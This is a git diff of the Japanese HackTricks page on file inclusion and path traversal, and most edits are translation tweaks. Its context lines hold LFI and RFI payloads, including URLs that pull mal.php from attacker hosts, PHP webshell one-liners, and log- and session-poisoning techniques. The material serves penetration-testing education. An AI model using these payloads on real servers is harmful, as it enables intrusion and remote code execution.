* [**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# ファイルインクルージョン/パストラバーサル
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
@ -85,7 +85,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **ヌルバイト (%00)**
提供された文字列の末尾にさらに文字を追加するのをバイパスします (バイパス: $\_GET\['param']."php")
提供された文字列の末尾に文字を追加するのをバイパスします (バイパス: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -102,7 +102,7 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### 既存のフォルダーから
おそらくバックエンドはフォルダーパスをチェックしています
おそらくバックエンドはフォルダーパスをチェックしています:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
@ -134,8 +134,8 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば
* `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`、および`/etc/passwd/`はすべて同じパスとして扱われます。
* 最後の6文字が`passwd`の場合、`/`を追加しても(`passwd/`にする)ターゲットファイルは変わりません。
* 同様に、ファイルパスに`.php`を追加した場合(`shellcode.php`のように)、末尾に`/.`を追加してもアクセスされるファイルは変更されません。
* 最後の6文字が`passwd`の場合、`/`を追加して`passwd/`にしても、ターゲットファイルは変わりません。
* 同様に、ファイルパスに`.php`を追加した場合(例えば`shellcode.php`)、末尾に`/.`を追加してもアクセスされるファイルは変更されません。
提供された例は、パストランケーションを利用して、敏感な内容(ユーザーアカウント情報)を持つ一般的なターゲットである`/etc/passwd`にアクセスする方法を示しています:
```
@ -150,10 +150,10 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
これらのシナリオでは、必要なトラバーサルの数は約2027になる可能性がありますが、この数はサーバーの構成によって異なる場合があります。
* **ドットセグメントと追加文字の使用**: トラバーサルシーケンス(`../`)に追加のドットセグメントや文字を組み合わせることで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を効果的に無視することができます。
* **必要なトラバーサルの数を決定する**: 試行錯誤を通じて、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な正確な`../`シーケンスの数を見つけることができ、追加された文字列(`.php`など)が無効化される一方で、目的のパス(`/etc/passwd`)はそのまま保持されます。
* **偽のディレクトリから始める**: パスを存在しないディレクトリ(`a/`など)で始めるのは一般的な慣行です。この技術は予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。
* **必要なトラバーサルの数を決定する**: 試行錯誤を通じて、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な正確な`../`シーケンスの数を見つけることができます。これにより、追加された文字列(`.php`など)が無効化され、目的のパス(`/etc/passwd`)が保持されます。
* **偽のディレクトリから始める**: 存在しないディレクトリ(`a/`など)でパスを始めるのは一般的な慣行です。この技術は予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。
パストランケーション技術を使用する際は、サーバーのパス解析の動とファイルシステムの構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにテストがしばしば必要です。
パストランケーション技術を使用する際は、サーバーのパス解析の動とファイルシステムの構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにテストがしばしば必要です。
**この脆弱性はPHP 5.3で修正されました。**
@ -167,12 +167,12 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
phpでは、これはデフォルトで無効になっています。なぜなら**`allow_url_include`**が**オフ**だからです。これが**オン**でなければ機能しません。その場合、サーバーからPHPファイルを含めてRCEを取得することができます:
phpでは、これはデフォルトで無効になっています。なぜなら**`allow_url_include`**が**オフ**だからです。これが**オン**でなければ機能しません。その場合、サーバーからPHPファイルを含めてRCEを取得できます
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
もし何らかの理由で **`allow_url_include`** が **On** であるが、PHPが外部ウェブページへのアクセスを **filtering** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によると、例えばデータプロトコルを使用してbase64でエンコードされたPHPコードをデコードし、RCEを取得することができます
もし何らかの理由で **`allow_url_include`** が **On** であるが、PHPが外部ウェブページへのアクセスを **filtering** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によると、例えばデータプロトコルを使用してbase64でb64 PHPコードをデコードし、RCEを取得することができます
{% code overflow="wrap" %}
```
@ -199,18 +199,18 @@ Pythonでは、このようなコードで:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
ユーザーが**`file_name`**に**絶対パス**を渡すと、**前のパスは単に削除されます**:
もしユーザーが**`file_name`**に**絶対パス**を渡すと、**前のパスは単に削除されます**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> コンポーネントが絶対パスである場合、すべての前のコンポーネントは破棄され、結合は絶対パスコンポーネントから続行されます。
> コンポーネントが絶対パスである場合、すべての前のコンポーネントは破棄され、結合は絶対パスコンポーネントから続行されます。
## Java List Directories
Javaでパストラバーサルがある場合、**ファイルの代わりにディレクトリを要求すると、**ディレクトリの**リストが返されます**。他の言語ではこれが発生することはありません(私の知る限り)。
Javaでパストラバーサルがある場合、**ファイルの代わりにディレクトリを要求すると、**ディレクトリの**リストが返されます**。これは他の言語では発生しないでしょう(私の知る限り)。
## Top 25 parameters
@ -253,7 +253,7 @@ PHPフィルターは、データが読み込まれる前または書き込ま
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: データからタグを削除します("<" と ">" の間のすべて)
* このフィルターは、現代のPHPバージョンからは消えています
* このフィルターは、現代のPHPバージョンからは消えています
* [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode`
* `convert.base64-decode`
@ -262,7 +262,7 @@ PHPフィルターは、データが読み込まれる前または書き込ま
* `convert.iconv.*` : 異なるエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。**サポートされているすべてのエンコーディングのリスト**を取得するには、コンソールで次を実行します:`iconv -l`
{% hint style="warning" %}
`convert.iconv.*`変換フィルターを悪用することで、**任意のテキストを生成**することができ、任意のテキストを記述したり、includeプロセスを任意のテキストにするような関数を作成するのに役立ちます。詳細については、[**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)を確認してください。
`convert.iconv.*`変換フィルターを悪用することで、**任意のテキストを生成**することができ、任意のテキストを記述したり、includeプロセスを任意のテキストで行う関数を作成するのに役立ちます。詳細については、[**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)を確認してください。
{% endhint %}
* [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
@ -271,7 +271,7 @@ PHPフィルターは、データが読み込まれる前または書き込ま
* [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
* `mcrypt.*` : 非推奨
* `mdecrypt.*` : 非推奨
* Other Filters
* その他のフィルター
* phpで`var_dump(stream_get_filters());`を実行すると、いくつかの**予期しないフィルター**を見つけることができます:
* `consumed`
* `dechunk`: HTTPチャンクエンコーディングを逆転させます
@ -308,34 +308,34 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### phpフィルタをオラクルとして使用して任意のファイルを読み取る
[**この記事**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)では、サーバーから返される出力なしにローカルファイルを読み取る技術が提案されています。この技術は、**phpフィルタをオラクルとして使用したファイルのブール型漏洩(文字ごと)**に基づいています。これは、phpフィルタを使用してテキストを大きくし、phpが例外をスローするようにするためです。
[**この投稿**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)では、サーバーからの出力を返さずにローカルファイルを読み取る技術が提案されています。この技術は、**phpフィルタをオラクルとして使用したファイルのブール型流出(文字ごと)**に基づいています。これは、phpフィルタを使用してテキストを大きくし、phpが例外をスローするようにするためです。
元の記事には技術の詳細な説明がありますが、ここでは簡単な要約を示します:
元の投稿には技術の詳細な説明がありますが、ここでは簡単な要約を示します:
* コーデック**`UCS-4LE`**を使用して、テキストの先頭に先行文字を残し、文字列のサイズを指数関数的に増加させます。
* これは、**最初の文字が正しく推測されたときに非常に大きなテキストを生成するために使用され**、phpが**エラー**をトリガーします。
* **dechunk**フィルタは、**最初の文字が16進数でない場合はすべてを削除**するため、最初の文字が16進数かどうかを知ることができます。
* これに前述のものおよび推測された文字に応じた他のフィルタを組み合わせることで、テキストの最初の文字を推測することができます。十分な変換を行うことで、それが16進数文字でなくなるのを確認します。なぜなら、16進数の場合、dechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。
* コーデック**convert.iconv.UNICODE.CP930**は、すべての文字を次の文字に変換しますこのコーデックの後a -> b。これにより、最初の文字が`a`であるかどうかを発見できます。たとえば、6回このコーデックを適用するとa->b->c->d->e->f->gとなり、文字はもはや16進数文字ではなくなります。したがって、dechunkはそれを削除せず、phpエラーがトリガーされます。
* **rot13**のような他の変換を最初に使用することで、n、o、p、q、rなどの他の文字を漏洩させることが可能です他のコーデックを使用して他の文字を16進数範囲に移動させることができます
* 最初の文字が数字の場合、それをbase64エンコードし、最初の2文字を漏洩させて数字を漏洩させる必要があります。
* 最後の問題は、**最初の文字以上のものを漏洩させる方法**を見ることです。**convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE**のような順序メモリフィルタを使用することで、文字の順序を変更し、テキストの最初の位置に他の文字を取得することが可能です。
* さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を使用して、次の2バイトと**ピボット**させ、**ジャンクデータまでデータを削除**することですこれにより、初期テキストの最初の2バイトが削除されます。これを繰り返して、漏洩させたいビットに到達するまで続けます。
* これに加えて前述のものおよび推測された文字に応じた他のフィルタを組み合わせることで、テキストの最初の文字を推測することができます。十分な変換を行うことで、それが16進数文字でなくなるのを確認します。なぜなら、16進数の場合、dechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。
* コーデック**convert.iconv.UNICODE.CP930**は、すべての文字を次の文字に変換しますこのコーデックの後a -> b。これにより、最初の文字が`a`であるかどうかを発見できます。たとえば、6回このコーデックを適用するとa->b->c->d->e->f->gとなり、文字はもはや16進数文字ではなくなります。したがって、dechunkはそれを削除せず、phpエラーが初期の爆弾とともにトリガーされます。
* **rot13**のような他の変換を最初に使用することで、n、o、p、q、rなどの他の文字を流出させることが可能です他のコーデックを使用して他の文字を16進数範囲に移動させることができます
* 最初の文字が数字の場合、それをbase64エンコードし、数字を流出させるために最初の2文字を流出させる必要があります。
* 最後の問題は、**最初の文字以上のものを流出させる方法**を見ることです。**convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE**のような順序メモリフィルタを使用することで、文字の順序を変更し、テキストの最初の位置に他の文字を取得することが可能です。
* さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を使用して、次の2バイトと**ピボット**させ、**ジャンクデータまでデータを削除**することですこれにより、初期テキストの最初の2バイトが削除されます。これを繰り返して、流出させたいビットに到達するまで続けます。
この記事では、これを自動的に実行するツールも漏洩されました[php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit)。
投稿には、これを自動的に実行するツールも流出しています[php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit)。
### php://fd
このラッパーは、プロセスがオープンしているファイルディスクリプタにアクセスすることを可能にします。開いているファイルの内容を漏洩させるのに潜在的に役立ちます:
このラッパーは、プロセスがオープンしているファイルディスクリプタにアクセスすることを可能にします。開いているファイルの内容を流出させるのに潜在的に役立ちます:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
あなたはまた、**php://stdin、php://stdout、および php://stderr**を使用して、それぞれ**ファイルディスクリプタ0、1、および2**にアクセスできます(攻撃でどのように役立つかは不明です)。
**php://stdin、php://stdout、php://stderr**を使用して、それぞれ**ファイルディスクリプタ0、1、2**にアクセスできます(攻撃にどのように役立つかは不明です)
### zip:// と rar://
PHPShellを含むZipまたはRarファイルをアップロードし、それにアクセスします。\
PHPShellを含むZipまたはRarファイルをアップロードしアクセスします。\
rarプロトコルを悪用できるようにするには、**特に有効化する必要があります**。
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
@ -365,7 +365,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
### expect://
Expectを有効にする必要があります。これを使用してコードを実行できます
Expectを有効にする必要があります。これを使用してコードを実行できます:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
@ -405,20 +405,20 @@ LFIがPHPコードを実行せずにファイルを読み取るだけの場合
### CVE-2024-2961
**phpフィルタをサポートする任意のファイルをPHPから読み取ることを悪用してRCEをることが可能でした。** 詳細な説明は[**この投稿にあります**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
非常に簡単な要約PHPヒープの**3バイトオーバーフロー**が悪用され、特定のサイズのフリーチャンクのチェーンを**変更する**ことにより、**任意のアドレスに何でも書き込む**ことができるようになり、**`system`**を呼び出すためのフックが追加されました。\
特定のサイズのチャンクを割り当てることが、他のphpフィルタを悪用して可能でした。
**phpフィルタをサポートする任意のファイルをPHPから読み取ることを悪用してRCEを得ることが可能でした。** 詳細な説明は[**この投稿にあります**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
非常に簡単な要約PHPヒープ内の**3バイトオーバーフロー**を悪用して、特定のサイズのフリーチャンクのチェーンを**変更し、任意のアドレスに何でも書き込むことができるようにし、**`system`**を呼び出すためのフックが追加されました。**\
特定のサイズのチャンクを割り当てることが、他のphpフィルタを悪用して可能でした。
### その他のプロトコル
ここに含める可能性のある[ **プロトコルをさらに確認してください**](https://www.php.net/manual/en/wrappers.php)**:**
ここに含める可能性のある[ **プロトコルをもっと確認してください**](https://www.php.net/manual/en/wrappers.php)**:**
* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかは不明)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
* [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URLへのアクセス
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URLへのアクセス
* [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URLへのアクセス
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URLへのアクセス
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける(何も印刷可能なものを返さないため、ここではあまり役に立たない)
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける(何も印刷可能なものを返さないので、ここではあまり役に立たない)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイルを読むには役に立たない)
@ -426,7 +426,7 @@ LFIがPHPコードを実行せずにファイルを読み取るだけの場合
PHPにおけるローカルファイルインクルージョンLFIのリスクは、文字列内でコードを実行できる'assert'関数を扱う際に特に高くなります。これは、".."のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。
例えば、PHPコードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります
例えば、PHPコードは次のようにディレクトリトラバーサルを防ぐように設計されるかもしれません
```bash
assert("strpos('$file', '..') === false") or die("");
```
@ -440,18 +440,18 @@ assert("strpos('$file', '..') === false") or die("");
```
重要なのは、これらのペイロードを**URLエンコードする**ことです。
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう!
@ -487,7 +487,7 @@ ApacheまたはNginxサーバーが**LFIに脆弱**な場合、インクルー
また、**ペイロードを正しく記述する**ことを確認してください。そうしないと、PHPはログファイルを読み込もうとするたびにエラーを出し、二度とチャンスがありません。
{% endhint %}
他のログでもこれを行うことができますが、**注意してください**、ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**authorization "basic"**には、Base64でエンコードされた"user:password"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入される可能性があります。\
他のログでもこれを行うことができますが、**注意してください**、ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**authorization "basic"**には、Base64でエンコードされた"user:password"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入できます。\
他の可能なログパス:
```python
/var/log/apache2/access.log
@ -504,16 +504,16 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Via Email
**内部アカウント (user@localhost) にメールを送信**し、`<?php echo system($_REQUEST["cmd"]); ?>` のようなPHPペイロードを含め、**`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のようなパスでユーザーのメールに含めることを試みます。
**内部アカウントuser@localhostにメールを送信**し、`<?php echo system($_REQUEST["cmd"]); ?>`のようなPHPペイロードを含め、**`/var/mail/<USERNAME>`**または**`/var/spool/mail/<USERNAME>`**のようなパスでユーザーのメールに含めるようにします。
### Via /proc/\*/fd/\*
1. 多くのシェルをアップロードします (例えば: 100)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を含めます。ここで $PID はプロセスのPID (ブルートフォース可能) で、$FD はファイルディスクリプタ (こちらもブルートフォース可能)
1. 多くのシェルをアップロードします例えば100
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)を含めます。ここで、$PIDはプロセスのPIDブルートフォース可能で、$FDはファイルディスクリプタこちらもブルートフォース可能です。
### Via /proc/self/environ
ログファイルのように、User-Agentにペイロードを送信し、それは/proc/self/environファイル内に反映されます。
ログファイルのように、User-Agentにペイロードを送信します。これにより、/proc/self/environファイル内に反映されます。
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
@ -539,7 +539,7 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
PHPでは、これらのセッションは_/var/lib/php5/sess\\_\[PHPSESSID]\_ファイルに保存されます。
In PHP、これらのセッションは _/var/lib/php5/sess\\_\[PHPSESSID]\_ ファイルに保存されます。
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -565,7 +565,7 @@ FTPサーバーvsftpdのログは_**/var/log/vsftpd.log**_にあります。Loca
### Via php base64 filter (using base64)
[こちら](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)の記事に示されているように、PHPのbase64フィルターは非base64を無視します。これを利用してファイル拡張子のチェックをバイパスできますもし".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。以下はペイロードの例です
[こちら](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)の記事に示されているように、PHPのbase64フィルターは非base64を無視します。これを利用してファイル拡張子のチェックをバイパスできますもし".php"で終わるbase64を提供すると、"."を無視してbase64に"php"を追加します。以下はペイロードの例です:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -573,7 +573,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
この[**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**phpフィルターを使用して任意のコンテンツを出力として生成できる**ことを説明しています。基本的には、**ファイルに書き込むことなく任意のphpコードを生成できる**ということです。
この[**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**phpフィルターを使用して任意のコンテンツを出力として生成できる**ことを説明しています。基本的には、**ファイルに書き込むことなく**、インクルード用の**任意のphpコードを生成できる**ということです。
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
@ -581,7 +581,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
### Via segmentation fault
**ファイルをアップロード**し、それが`/tmp`に**一時的に**保存されるようにします。その後、**同じリクエストで**、**セグメンテーションフォルト**を引き起こすと、**一時ファイルは削除されず**、それを探すことができます。
**ファイルをアップロード**し、それが`/tmp`に**一時的に**保存されるようにします。その後、**同じリクエストで**、**セグメンテーションフォルト**を引き起こしま。そうすると、**一時ファイルは削除されず**、それを探すことができます。
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
@ -589,7 +589,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
### Via Nginx temp file storage
**ローカルファイルインクルージョン**を見つけ、**Nginx**がPHPの前で実行されている場合、次の技術を使用してRCEを取得できるかもしれません
**ローカルファイルインクルージョン**を見つけ、**Nginx**がPHPの前で実行されている場合、次の技術を使用してRCEを取得できるかもしれません
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
@ -597,7 +597,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
**ローカルファイルインクルージョン**を見つけた場合、**セッションがない**場合でも、`session.auto_start`が`Off`であっても、**`PHP_SESSION_UPLOAD_PROGRESS`**を**multipart POST**データで提供すると、PHPは**セッションを有効にします**。これを悪用してRCEを取得できます
**ローカルファイルインクルージョン**を見つけた場合、**セッションがない**場合でも、`session.auto_start`が`Off`であっても、**`PHP_SESSION_UPLOAD_PROGRESS`**を**マルチパートPOST**データで提供すると、PHPは**セッションを有効にします**。これを悪用してRCEを取得できます
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
@ -605,7 +605,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
### Via temp file uploads in Windows
**ローカルファイルインクルージョン**を見つけ、サーバーが**Windows**で実行されている場合、RCEを取得できるかもしれません
**ローカルファイルインクルージョン**を見つけ、サーバーが**Windows**で実行されている場合、RCEを取得できるかもしれません
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
@ -613,7 +613,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
### Via `pearcmd.php` + URL args
[**この投稿で説明されているように**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト`/usr/local/lib/phppearcmd.php`は、phpのdockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに`=`がない場合、それを引数として使用する必要があると示されています。
[**この投稿で説明されているように**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト`/usr/local/lib/phppearcmd.php`は、phpのdockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに`=`がない場合、それを引数として使用する必要がある示されています。
次のリクエストは、`/tmp/hello.php`に`<?=phpinfo()?>`という内容のファイルを作成します:
@ -640,7 +640,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + パス開示を介して
**Local File Inclusion**を見つけ、**一時ファイルのパスを外部に流出させることができるが、**サーバーが**含めるファイルにPHPマークがあるかを**チェックしている場合、**この**レースコンディション**を使ってそのチェックを**バイパス**しようとすることができます:
**Local File Inclusion**を見つけ、**一時ファイルのパスを外部に漏洩できるが、**サーバーが**含めるファイルにPHPマークがあるかを**チェックしている場合、**この**レースコンディション**を使ってそのチェックを**バイパス**しようとすることができます:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
@ -670,7 +670,7 @@ _たとえPHPの致命的エラーを引き起こしても、アップロード
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
@ -678,12 +678,12 @@ _たとえPHPの致命的エラーを引き起こしても、アップロード
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を最新の状態に保ちましょう
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**最新の発表**\
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう!
今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加し、トップハッカーとコラボレーションを始めましょう!
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,7 +15,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
@ -32,15 +32,15 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
## **リファラー経由のパスワードリセットトークンの漏洩**
